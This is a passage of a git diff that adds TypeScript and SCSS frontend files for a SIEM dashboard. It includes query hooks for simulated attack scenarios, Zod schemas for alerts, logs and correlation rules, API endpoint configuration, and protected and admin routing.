scenarioQueries = { + all: () => QUERY_KEYS.SCENARIOS.ALL, + available: () => QUERY_KEYS.SCENARIOS.AVAILABLE(), + running: () => QUERY_KEYS.SCENARIOS.RUNNING(), +} as const + +export const useAvailablePlaybooks = (): UseQueryResult< + PlaybookInfo[], + Error +> => { + return useQuery({ + queryKey: scenarioQueries.available(), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.SCENARIOS.AVAILABLE + ) + return response.data + }, + }) +} + +export const useRunningScenarios = (): UseQueryResult => { + return useQuery({ + queryKey: scenarioQueries.running(), + queryFn: async () => { + const response = await apiClient.get( + API_ENDPOINTS.SCENARIOS.RUNNING + ) + return response.data + }, + ...QUERY_STRATEGIES.frequent, + }) +} + +export const useStartScenario = (): UseMutationResult< + ScenarioRun, + Error, + ScenarioStartRequest +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (payload: ScenarioStartRequest) => { + const response = await apiClient.post( + API_ENDPOINTS.SCENARIOS.START, + payload + ) + return response.data + }, + onSuccess: (data: ScenarioRun): void => { + queryClient.invalidateQueries({ queryKey: scenarioQueries.running() }) + toast.success(`Scenario "${data.scenario_name}" started`) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useStopScenario = (): UseMutationResult< + ScenarioRun, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (runId: string) => { + const response = await apiClient.post( + API_ENDPOINTS.SCENARIOS.STOP(runId) + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: scenarioQueries.running() }) + toast.success('Scenario stopped') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const usePauseScenario = (): UseMutationResult< + ScenarioRun, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (runId: string) => { + const response = await apiClient.post( + API_ENDPOINTS.SCENARIOS.PAUSE(runId) + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: scenarioQueries.running() }) + toast.success('Scenario paused') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useResumeScenario = (): UseMutationResult< + ScenarioRun, + Error, + string +> => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (runId: string) => { + const response = await apiClient.post( + API_ENDPOINTS.SCENARIOS.RESUME(runId) + ) + return response.data + }, + onSuccess: (): void => { + queryClient.invalidateQueries({ queryKey: scenarioQueries.running() }) + toast.success('Scenario resumed') + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} + +export const useSetScenarioSpeed = ( + runId: string +): UseMutationResult => { + const queryClient = useQueryClient() + + return useMutation({ + mutationFn: async (payload: SpeedRequest) => { + const response = await apiClient.put( + API_ENDPOINTS.SCENARIOS.SPEED(runId), + payload + ) + return response.data + }, + onSuccess: (data: ScenarioRun): void => { + queryClient.invalidateQueries({ queryKey: scenarioQueries.running() }) + toast.success(`Speed set to ${data.speed}x`) + }, + onError: (error: Error): void => { + toast.error(error.message) + }, + }) +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts new file mode 100644 index 00000000..430f4942 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/admin.types.ts @@ -0,0 +1,53 @@ +// =================== +// ©AngelaMos | 2026 +// admin.types.ts +// =================== + +import { z } from 'zod' +import { userResponseSchema } from './auth.types' + +export const UserRole = { + ANALYST: 'analyst', + ADMIN: 'admin', +} as const + +export type UserRole = (typeof UserRole)[keyof typeof UserRole] + +export const VALID_ROLES: UserRole[] = [UserRole.ANALYST, UserRole.ADMIN] + +export const adminUpdateRoleRequestSchema = z.object({ + role: z.enum(['analyst', 'admin']), +}) + +export const adminUserListResponseSchema = z.object({ + items: z.array(userResponseSchema), + total: z.number(), + page: z.number(), + per_page: z.number(), + pages: z.number(), +}) + +export type AdminUpdateRoleRequest = z.infer +export type AdminUserListResponse = z.infer + +export interface AdminUserListParams { + page?: number + per_page?: number +} + +export const ADMIN_SUCCESS_MESSAGES = { + ROLE_UPDATED: (username: string, role: string) => `${username} is now ${role}`, + USER_DEACTIVATED: (username: string) => `${username} deactivated`, + USER_ACTIVATED: (username: string) => `${username} activated`, + USER_DELETED: 'User permanently deleted', +} as const + +export const ADMIN_ERROR_MESSAGES = { + SELF_ACTION: 'Cannot perform this action on your own account', + LAST_ADMIN: 'Cannot demote the last admin', +} as const + +export const ROLE_LABELS: Record = { + analyst: 'Analyst', + admin: 'Admin', +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts new file mode 100644 index 00000000..2f246052 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/alert.types.ts @@ -0,0 +1,72 @@ +// =================== +// ©AngelaMos | 2026 +// alert.types.ts +// =================== + +import { z } from 'zod' +import { logEventSchema } from './log.types' + +export const alertSchema = z.object({ + id: z.string(), + rule_id: z.string(), + rule_name: z.string(), + severity: z.string(), + title: z.string(), + matched_event_ids: z.array(z.string()), + matched_event_count: z.number(), + group_value: z.string().nullable(), + status: z.string(), + mitre_tactic: z.string().nullable(), + mitre_technique: z.string().nullable(), + acknowledged_by: z.string().nullable(), + acknowledged_at: z.string().nullable(), + resolved_at: z.string().nullable(), + notes: z.string().nullable(), + created_at: z.string(), + updated_at: z.string(), +}) + +export const alertDetailSchema = z.object({ + alert: alertSchema, + matched_events: z.array(logEventSchema), +}) + +export const streamAlertEventSchema = z.object({ + id: z.string(), + rule_name: z.string(), + severity: z.string(), + title: z.string(), + group_value: z.string().nullable(), + matched_event_count: z.number(), + status: z.string(), +}) + +export type Alert = z.infer +export type AlertDetail = z.infer +export type StreamAlertEvent = z.infer + +export interface AlertStatusUpdateRequest { + status: string + notes?: string +} + +export interface AlertQueryParams { + page?: number + per_page?: number + status?: string + severity?: string +} + +export const isValidAlert = (data: unknown): data is Alert => { + return alertSchema.safeParse(data).success +} + +export const isValidAlertDetail = (data: unknown): data is AlertDetail => { + return alertDetailSchema.safeParse(data).success +} + +export const isValidStreamAlertEvent = ( + data: unknown +): data is StreamAlertEvent => { + return streamAlertEventSchema.safeParse(data).success +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts new file mode 100644 index 00000000..e3b41649 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/auth.types.ts @@ -0,0 +1,117 @@ +// =================== +// ©AngelaMos | 2026 +// auth.types.ts +// =================== + +import { z } from 'zod' + +export const USERNAME_MIN = 3 +export const USERNAME_MAX = 32 +export const PASSWORD_MIN = 8 + +export const userResponseSchema = z.object({ + id: z.string(), + username: z.string(), + email: z.string(), + role: z.string(), + is_active: z.boolean(), +}) + +export const tokenResponseSchema = z.object({ + access_token: z.string(), + token_type: z.string(), +}) + +export const loginRequestSchema = z.object({ + username: z.string().min(1, 'Username is required'), + password: z.string().min(1, 'Password is required'), +}) + +export const registerRequestSchema = z.object({ + username: z + .string() + .min(USERNAME_MIN, `Username must be at least ${USERNAME_MIN} characters`) + .max(USERNAME_MAX, `Username must be at most ${USERNAME_MAX} characters`), + email: z.string().email('Invalid email address'), + password: z + .string() + .min(PASSWORD_MIN, `Password must be at least ${PASSWORD_MIN} characters`), +}) + +export const updateProfileRequestSchema = z + .object({ + current_password: z.string().min(1, 'Current password is required'), + username: z + .string() + .min(USERNAME_MIN, `Username must be at least ${USERNAME_MIN} characters`) + .max(USERNAME_MAX, `Username must be at most ${USERNAME_MAX} characters`) + .optional(), + email: z.string().email('Invalid email address').optional(), + password: z + .string() + .min(PASSWORD_MIN, `Password must be at least ${PASSWORD_MIN} characters`) + .optional(), + }) + .refine( + (data) => + data.username !== undefined || + data.email !== undefined || + data.password !== undefined, + { message: 'At least one field to update is required' } + ) + +export const updateProfileResponseSchema = z.object({ + user: userResponseSchema, + access_token: z.string().optional(), + token_type: z.string().optional(), +}) + +export type UserResponse = z.infer +export type TokenResponse = z.infer +export type LoginRequest = z.infer +export type RegisterRequest = z.infer +export type UpdateProfileRequest = z.infer +export type UpdateProfileResponse = z.infer + +export const isValidUserResponse = (data: unknown): data is UserResponse => { + return userResponseSchema.safeParse(data).success +} + +export const isValidTokenResponse = (data: unknown): data is TokenResponse => { + return tokenResponseSchema.safeParse(data).success +} + +export const isValidUpdateProfileResponse = ( + data: unknown +): data is UpdateProfileResponse => { + return updateProfileResponseSchema.safeParse(data).success +} + +export const AUTH_ERROR_MESSAGES = { + INVALID_USER_RESPONSE: 'Invalid user data from server', + INVALID_LOGIN_RESPONSE: 'Invalid login response from server', + INVALID_TOKEN_RESPONSE: 'Invalid token response from server', + SESSION_EXPIRED: 'Session expired', +} as const + +export const AUTH_SUCCESS_MESSAGES = { + WELCOME_BACK: (name: string) => `Welcome back, ${name}!`, + LOGOUT_SUCCESS: 'Logged out successfully', + REGISTERED: 'Account created successfully!', + PROFILE_UPDATED: 'Profile updated successfully', +} as const + +export class AuthResponseError extends Error { + readonly endpoint?: string + + constructor(message: string, endpoint?: string) { + super(message) + this.name = 'AuthResponseError' + this.endpoint = endpoint + Object.setPrototypeOf(this, AuthResponseError.prototype) + } +} + +export type AuthErrorMessage = + (typeof AUTH_ERROR_MESSAGES)[keyof typeof AUTH_ERROR_MESSAGES] +export type AuthSuccessMessage = typeof AUTH_SUCCESS_MESSAGES diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts new file mode 100644 index 00000000..55358102 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/common.types.ts @@ -0,0 +1,83 @@ +// =================== +// ©AngelaMos | 2026 +// common.types.ts +// =================== + +import { z } from 'zod' + +export const SourceType = { + FIREWALL: 'firewall', + IDS: 'ids', + AUTH: 'auth', + ENDPOINT: 'endpoint', + DNS: 'dns', + PROXY: 'proxy', + GENERIC: 'generic', +} as const + +export type SourceType = (typeof SourceType)[keyof typeof SourceType] + +export const Severity = { + CRITICAL: 'critical', + HIGH: 'high', + MEDIUM: 'medium', + LOW: 'low', + INFO: 'info', +} as const + +export type Severity = (typeof Severity)[keyof typeof Severity] + +export const AlertStatus = { + NEW: 'new', + ACKNOWLEDGED: 'acknowledged', + INVESTIGATING: 'investigating', + RESOLVED: 'resolved', + FALSE_POSITIVE: 'false_positive', +} as const + +export type AlertStatus = (typeof AlertStatus)[keyof typeof AlertStatus] + +export const RuleType = { + THRESHOLD: 'threshold', + SEQUENCE: 'sequence', + AGGREGATION: 'aggregation', +} as const + +export type RuleType = (typeof RuleType)[keyof typeof RuleType] + +export const RunStatus = { + RUNNING: 'running', + COMPLETED: 'completed', + STOPPED: 'stopped', + PAUSED: 'paused', + ERROR: 'error', +} as const + +export type RunStatus = (typeof RunStatus)[keyof typeof RunStatus] + +export const paginatedResponseSchema = (itemSchema: T) => + z.object({ + items: z.array(itemSchema), + total: z.number(), + page: z.number(), + per_page: z.number(), + pages: z.number(), + }) + +export type PaginatedResponse = { + items: T[] + total: number + page: number + per_page: number + pages: number +} + +export const deleteResponseSchema = z.object({ + deleted: z.boolean(), +}) + +export type DeleteResponse = z.infer + +export const isValidDeleteResponse = (data: unknown): data is DeleteResponse => { + return deleteResponseSchema.safeParse(data).success +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts new file mode 100644 index 00000000..7a6cbd5b --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/dashboard.types.ts @@ -0,0 +1,57 @@ +// =================== +// ©AngelaMos | 2026 +// dashboard.types.ts +// =================== + +import { z } from 'zod' + +export const severityCountSchema = z.object({ + severity: z.string(), + count: z.number(), +}) + +export const dashboardOverviewSchema = z.object({ + total_events: z.number(), + total_alerts: z.number(), + open_alerts: z.number(), + alerts_by_status: z.record(z.string(), z.number()), + severity_breakdown: z.array(severityCountSchema), +}) + +export const timelineBucketSchema = z.object({ + bucket: z.string(), + count: z.number(), +}) + +export const topSourceSchema = z.object({ + source_ip: z.string(), + count: z.number(), +}) + +export type SeverityCount = z.infer +export type DashboardOverview = z.infer +export type TimelineBucket = z.infer +export type TopSource = z.infer + +export interface TimelineParams { + hours?: number + bucket_minutes?: number +} + +export interface TopSourcesParams { + limit?: number +} + +export const isValidDashboardOverview = ( + data: unknown +): data is DashboardOverview => { + return dashboardOverviewSchema.safeParse(data).success +} + +export const isValidTimelineBucket = (data: unknown): data is TimelineBucket => { + return timelineBucketSchema.safeParse(data).success +} + +export const isValidTopSource = (data: unknown): data is TopSource => { + return topSourceSchema.safeParse(data).success +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/index.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/index.ts new file mode 100644 index 00000000..c28903a1 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/index.ts @@ -0,0 +1,13 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export * from './admin.types' +export * from './alert.types' +export * from './auth.types' +export * from './common.types' +export * from './dashboard.types' +export * from './log.types' +export * from './rule.types' +export * from './scenario.types' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts new file mode 100644 index 00000000..c4ae2a7b --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/log.types.ts @@ -0,0 +1,73 @@ +// =================== +// ©AngelaMos | 2026 +// log.types.ts +// =================== + +import { z } from 'zod' + +export const logEventSchema = z.object({ + id: z.string(), + timestamp: z.string(), + source_type: z.string(), + source_ip: z.string().nullable(), + dest_ip: z.string().nullable(), + source_port: z.number().nullable(), + dest_port: z.number().nullable(), + severity: z.string(), + event_type: z.string().nullable(), + raw: z.record(z.string(), z.unknown()), + normalized: z.record(z.string(), z.unknown()), + metadata: z.record(z.string(), z.unknown()), + hostname: z.string().nullable(), + username: z.string().nullable(), + mitre_tactic: z.string().nullable(), + mitre_technique: z.string().nullable(), + scenario_run_id: z.string().nullable(), + matched_alert_ids: z.array(z.string()), + created_at: z.string(), + updated_at: z.string(), +}) + +export const streamLogEventSchema = z.object({ + id: z.string(), + timestamp: z.string(), + source_type: z.string(), + severity: z.string(), + event_type: z.string().nullable(), + source_ip: z.string().nullable(), + dest_ip: z.string().nullable(), + hostname: z.string().nullable(), + username: z.string().nullable(), +}) + +export type LogEvent = z.infer +export type StreamLogEvent = z.infer + +export interface LogQueryParams { + page?: number + per_page?: number + source_type?: string + severity?: string + source_ip?: string + event_type?: string +} + +export interface LogSearchParams { + q: string + page?: number + per_page?: number +} + +export interface PivotParams { + ip?: string + username?: string + hostname?: string +} + +export const isValidLogEvent = (data: unknown): data is LogEvent => { + return logEventSchema.safeParse(data).success +} + +export const isValidStreamLogEvent = (data: unknown): data is StreamLogEvent => { + return streamLogEventSchema.safeParse(data).success +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts new file mode 100644 index 00000000..5eb3b49e --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/rule.types.ts @@ -0,0 +1,73 @@ +// =================== +// ©AngelaMos | 2026 +// rule.types.ts +// =================== + +import { z } from 'zod' + +export const correlationRuleSchema = z.object({ + id: z.string(), + name: z.string(), + description: z.string(), + rule_type: z.string(), + conditions: z.record(z.string(), z.unknown()), + severity: z.string(), + enabled: z.boolean(), + mitre_tactic: z.string().nullable(), + mitre_technique: z.string().nullable(), + created_at: z.string(), + updated_at: z.string(), +}) + +export const ruleTestAlertSchema = z.object({ + group_value: z.string(), + matched_event_count: z.number(), + matched_event_ids: z.array(z.string()), +}) + +export const ruleTestResultSchema = z.object({ + rule_id: z.string(), + rule_name: z.string(), + events_evaluated: z.number(), + alerts_would_fire: z.number(), + alerts: z.array(ruleTestAlertSchema), +}) + +export type CorrelationRule = z.infer +export type RuleTestAlert = z.infer +export type RuleTestResult = z.infer + +export interface RuleCreateRequest { + name: string + description?: string + rule_type: string + conditions: Record + severity: string + enabled?: boolean + mitre_tactic?: string + mitre_technique?: string +} + +export interface RuleUpdateRequest { + name?: string + description?: string + conditions?: Record + severity?: string + enabled?: boolean + mitre_tactic?: string + mitre_technique?: string +} + +export interface RuleTestRequest { + hours?: number +} + +export const isValidCorrelationRule = ( + data: unknown +): data is CorrelationRule => { + return correlationRuleSchema.safeParse(data).success +} + +export const isValidRuleTestResult = (data: unknown): data is RuleTestResult => { + return ruleTestResultSchema.safeParse(data).success +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts new file mode 100644 index 00000000..0f98ad84 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/api/types/scenario.types.ts @@ -0,0 +1,47 @@ +// =================== +// ©AngelaMos | 2026 +// scenario.types.ts +// =================== + +import { z } from 'zod' + +export const scenarioRunSchema = z.object({ + id: z.string(), + scenario_name: z.string(), + status: z.string(), + started_at: z.string(), + completed_at: z.string().nullable(), + events_generated: z.number(), + speed: z.number(), + error_message: z.string().nullable(), + created_at: z.string(), + updated_at: z.string(), +}) + +export const playbookInfoSchema = z.object({ + filename: z.string(), + name: z.string(), + description: z.string(), + mitre_tactics: z.array(z.string()), + mitre_techniques: z.array(z.string()), + event_count: z.number(), +}) + +export type ScenarioRun = z.infer +export type PlaybookInfo = z.infer + +export interface ScenarioStartRequest { + filename: string +} + +export interface SpeedRequest { + speed: number +} + +export const isValidScenarioRun = (data: unknown): data is ScenarioRun => { + return scenarioRunSchema.safeParse(data).success +} + +export const isValidPlaybookInfo = (data: unknown): data is PlaybookInfo => { + return playbookInfoSchema.safeParse(data).success +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts new file mode 100644 index 00000000..537d05fd --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/config.ts @@ -0,0 +1,190 @@ +// =================== +// ©AngelaMos | 2026 +// constants.ts +// =================== + +const API_VERSION = 'v1' + +export const API_ENDPOINTS = { + AUTH: { + REGISTER: `/${API_VERSION}/auth/register`, + LOGIN: `/${API_VERSION}/auth/login`, + ME: `/${API_VERSION}/auth/me`, + UPDATE_PROFILE: `/${API_VERSION}/auth/me`, + }, + ADMIN: { + USERS: `/${API_VERSION}/admin/users`, + USER_BY_ID: (id: string) => `/${API_VERSION}/admin/users/${id}`, + USER_ROLE: (id: string) => `/${API_VERSION}/admin/users/${id}/role`, + DEACTIVATE: (id: string) => `/${API_VERSION}/admin/users/${id}/deactivate`, + ACTIVATE: (id: string) => `/${API_VERSION}/admin/users/${id}/activate`, + }, + DASHBOARD: { + OVERVIEW: `/${API_VERSION}/dashboard`, + TIMELINE: `/${API_VERSION}/dashboard/timeline`, + SEVERITY: `/${API_VERSION}/dashboard/severity-breakdown`, + TOP_SOURCES: `/${API_VERSION}/dashboard/top-sources`, + }, + LOGS: { + LIST: `/${API_VERSION}/logs`, + BY_ID: (id: string) => `/${API_VERSION}/logs/${id}`, + INGEST: `/${API_VERSION}/logs/ingest`, + SEARCH: `/${API_VERSION}/logs/search`, + STREAM: `/${API_VERSION}/logs/stream`, + PIVOT: `/${API_VERSION}/logs/pivot`, + }, + ALERTS: { + LIST: `/${API_VERSION}/alerts`, + BY_ID: (id: string) => `/${API_VERSION}/alerts/${id}`, + STATUS: (id: string) => `/${API_VERSION}/alerts/${id}/status`, + STREAM: `/${API_VERSION}/alerts/stream`, + }, + RULES: { + LIST: `/${API_VERSION}/rules`, + CREATE: `/${API_VERSION}/rules`, + BY_ID: (id: string) => `/${API_VERSION}/rules/${id}`, + UPDATE: (id: string) => `/${API_VERSION}/rules/${id}`, + DELETE: (id: string) => `/${API_VERSION}/rules/${id}`, + TEST: (id: string) => `/${API_VERSION}/rules/${id}/test`, + }, + SCENARIOS: { + AVAILABLE: `/${API_VERSION}/scenarios/available`, + RUNNING: `/${API_VERSION}/scenarios/running`, + START: `/${API_VERSION}/scenarios/start`, + STOP: (runId: string) => `/${API_VERSION}/scenarios/${runId}/stop`, + PAUSE: (runId: string) => `/${API_VERSION}/scenarios/${runId}/pause`, + RESUME: (runId: string) => `/${API_VERSION}/scenarios/${runId}/resume`, + SPEED: (runId: string) => `/${API_VERSION}/scenarios/${runId}/speed`, + }, +} as const + +export const QUERY_KEYS = { + AUTH: { + ALL: ['auth'] as const, + ME: () => [...QUERY_KEYS.AUTH.ALL, 'me'] as const, + }, + DASHBOARD: { + ALL: ['dashboard'] as const, + OVERVIEW: () => [...QUERY_KEYS.DASHBOARD.ALL, 'overview'] as const, + TIMELINE: (hours: number, bucket: number) => + [...QUERY_KEYS.DASHBOARD.ALL, 'timeline', { hours, bucket }] as const, + SEVERITY: () => [...QUERY_KEYS.DASHBOARD.ALL, 'severity'] as const, + TOP_SOURCES: (limit: number) => + [...QUERY_KEYS.DASHBOARD.ALL, 'top-sources', { limit }] as const, + }, + LOGS: { + ALL: ['logs'] as const, + LIST: (page: number, size: number) => + [...QUERY_KEYS.LOGS.ALL, 'list', { page, size }] as const, + BY_ID: (id: string) => [...QUERY_KEYS.LOGS.ALL, 'detail', id] as const, + SEARCH: (query: string, page: number, size: number) => + [...QUERY_KEYS.LOGS.ALL, 'search', { query, page, size }] as const, + PIVOT: (params: { ip?: string; username?: string; hostname?: string }) => + [...QUERY_KEYS.LOGS.ALL, 'pivot', params] as const, + }, + ALERTS: { + ALL: ['alerts'] as const, + LIST: (page: number, size: number) => + [...QUERY_KEYS.ALERTS.ALL, 'list', { page, size }] as const, + BY_ID: (id: string) => [...QUERY_KEYS.ALERTS.ALL, 'detail', id] as const, + }, + RULES: { + ALL: ['rules'] as const, + LIST: () => [...QUERY_KEYS.RULES.ALL, 'list'] as const, + BY_ID: (id: string) => [...QUERY_KEYS.RULES.ALL, 'detail', id] as const, + }, + SCENARIOS: { + ALL: ['scenarios'] as const, + AVAILABLE: () => [...QUERY_KEYS.SCENARIOS.ALL, 'available'] as const, + RUNNING: () => [...QUERY_KEYS.SCENARIOS.ALL, 'running'] as const, + }, + ADMIN: { + ALL: ['admin'] as const, + USERS: (page: number, size: number) => + [...QUERY_KEYS.ADMIN.ALL, 'users', { page, size }] as const, + USER_BY_ID: (id: string) => [...QUERY_KEYS.ADMIN.ALL, 'user', id] as const, + }, +} as const + +export const ROUTES = { + LANDING: '/', + LOGIN: '/login', + REGISTER: '/register', + DASHBOARD: '/dashboard', + LOGS: '/logs', + ALERTS: '/alerts', + RULES: '/rules', + SCENARIOS: '/scenarios', + SETTINGS: '/settings', + ADMIN_USERS: '/admin/users', +} as const + +export const STORAGE_KEYS = { + AUTH: 'siem-auth', + UI: 'siem-ui', +} as const + +export const QUERY_CONFIG = { + STALE_TIME: { + USER: 0, + STATIC: Infinity, + FREQUENT: 1000 * 10, + DASHBOARD: 1000 * 15, + }, + GC_TIME: { + DEFAULT: 1000 * 60 * 30, + LONG: 1000 * 60 * 60, + }, + RETRY: { + DEFAULT: 3, + NONE: 0, + }, +} as const + +export const HTTP_STATUS = { + OK: 200, + CREATED: 201, + NO_CONTENT: 204, + BAD_REQUEST: 400, + UNAUTHORIZED: 401, + FORBIDDEN: 403, + NOT_FOUND: 404, + CONFLICT: 409, + UNPROCESSABLE: 422, + TOO_MANY_REQUESTS: 429, + INTERNAL_SERVER: 500, +} as const + +export const PAGINATION = { + DEFAULT_PAGE: 1, + DEFAULT_SIZE: 25, + MAX_SIZE: 100, +} as const + +export const SEVERITY_LABELS: Record = { + critical: 'Critical', + high: 'High', + medium: 'Medium', + low: 'Low', + info: 'Info', +} + +export const ALERT_STATUS_LABELS: Record = { + new: 'New', + acknowledged: 'Acknowledged', + investigating: 'Investigating', + resolved: 'Resolved', + false_positive: 'False Positive', +} + +export const SCENARIO_STATUS_LABELS: Record = { + running: 'Running', + completed: 'Completed', + stopped: 'Stopped', + paused: 'Paused', + error: 'Error', +} + +export type ApiEndpoint = typeof API_ENDPOINTS +export type QueryKey = typeof QUERY_KEYS +export type Route = typeof ROUTES diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx new file mode 100644 index 00000000..b32a9332 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/admin-route.tsx @@ -0,0 +1,18 @@ +// =================== +// ©AngelaMos | 2026 +// admin-route.tsx +// =================== + +import { Navigate, Outlet } from 'react-router-dom' +import { ROUTES } from '@/config' +import { useAuthStore } from '@/core/stores' + +export function AdminRoute(): React.ReactElement { + const user = useAuthStore((s) => s.user) + + if (user?.role !== 'admin') { + return + } + + return +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/index.ts b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/index.ts new file mode 100644 index 00000000..08ff9749 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/index.ts @@ -0,0 +1,8 @@ +// =================== +// ©AngelaMos | 2026 +// index.ts +// =================== + +export { AdminRoute } from './admin-route' +export { ProtectedRoute } from './protected-route' +export { Shell } from './shell' diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx new file mode 100644 index 00000000..f5abbbab --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/protected-route.tsx @@ -0,0 +1,25 @@ +// =================== +// ©AngelaMos | 2026 +// protected-route.tsx +// =================== + +import { Navigate, Outlet, useLocation } from 'react-router-dom' +import { ROUTES } from '@/config' +import { useAuthStore } from '@/core/stores' + +export function ProtectedRoute(): React.ReactElement { + const location = useLocation() + const isAuthenticated = useAuthStore((s) => s.isAuthenticated) + + if (!isAuthenticated) { + return ( + + ) + } + + return +} diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx new file mode 100644 index 00000000..6a200b01 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/router.tsx @@ -0,0 +1,74 @@ +// =================== +// ©AngelaMos | 2026 +// router.tsx +// =================== + +import { createBrowserRouter, type RouteObject } from 'react-router-dom' +import { ROUTES } from '@/config' +import { AdminRoute } from './admin-route' +import { ProtectedRoute } from './protected-route' +import { Shell } from './shell' + +const routes: RouteObject[] = [ + { + path: ROUTES.LANDING, + lazy: () => import('@/routes/landing'), + }, + { + path: ROUTES.LOGIN, + lazy: () => import('@/routes/login'), + }, + { + path: ROUTES.REGISTER, + lazy: () => import('@/routes/register'), + }, + { + element: , + children: [ + { + element: , + children: [ + { + path: ROUTES.DASHBOARD, + lazy: () => import('@/routes/dashboard'), + }, + { + path: ROUTES.LOGS, + lazy: () => import('@/routes/logs'), + }, + { + path: ROUTES.ALERTS, + lazy: () => import('@/routes/alerts'), + }, + { + path: ROUTES.RULES, + lazy: () => import('@/routes/rules'), + }, + { + path: ROUTES.SCENARIOS, + lazy: () => import('@/routes/scenarios'), + }, + { + path: ROUTES.SETTINGS, + lazy: () => import('@/routes/settings'), + }, + { + element: , + children: [ + { + path: ROUTES.ADMIN_USERS, + lazy: () => import('@/routes/admin'), + }, + ], + }, + ], + }, + ], + }, + { + path: '*', + lazy: () => import('@/routes/landing'), + }, +] + +export const router = createBrowserRouter(routes) diff --git a/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.module.scss b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.module.scss new file mode 100644 index 00000000..e345ce21 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/frontend/src/core/app/shell.module.scss @@ -0,0 +1,381 @@ +// =================== +// ©AngelaMos | 2026 +// shell.module.scss +// =================== + +@use '@/styles' as *; + +$sidebar-width: 240px; +$sidebar-collapsed-width: 64px; +$header-height: 56px; + +.shell { + display: flex; + min-height: 100vh; + min-height: 100dvh; +} + +.sidebar { + position: fixed; + top: 0; + left: 0; + bottom: 0; + width: $sidebar-width; + background-color: $bg-shell-base; + background-image: radial-gradient( + circle, + $bg-shell-dot 1px, + transparent 1px + ); + background-size: 16px 16px; + border-right: 1px solid $border-default; + display: flex; + flex-direction: column; + z-index: $z-fixed; + @include transition-fast; + + &.collapsed { + width: $sidebar-collapsed-width; + } + + @include breakpoint-down('sm') { + transform: translateX(-100%); + + &.open { + transform: translateX(0); + } + + &.collapsed { + width: $sidebar-width; + } + } +} + +.sidebarHeader { + height: $header-height; + padding: 0 $space-3; + display: flex; + align-items: center; + justify-content: space-between; + border-bottom: 1px solid $border-default; + + .sidebar.collapsed & { + justify-content: center; + padding: 0; + } +} + +.logoGroup { + display: flex; + align-items: center; + gap: $space-2; + @include transition-fast; + + .sidebar.collapsed & { + gap: 0; + } +} + +.logoIcon { + width: 20px; + height: 20px; + color: $accent; + flex-shrink: 0; + + .sidebar.collapsed & { + display: none; + } +} + +.logo { + font-size: $font-size-base; + font-weight: $font-weight-semibold; + color: $text-default; + letter-spacing: $tracking-wide; + @include transition-fast; + + 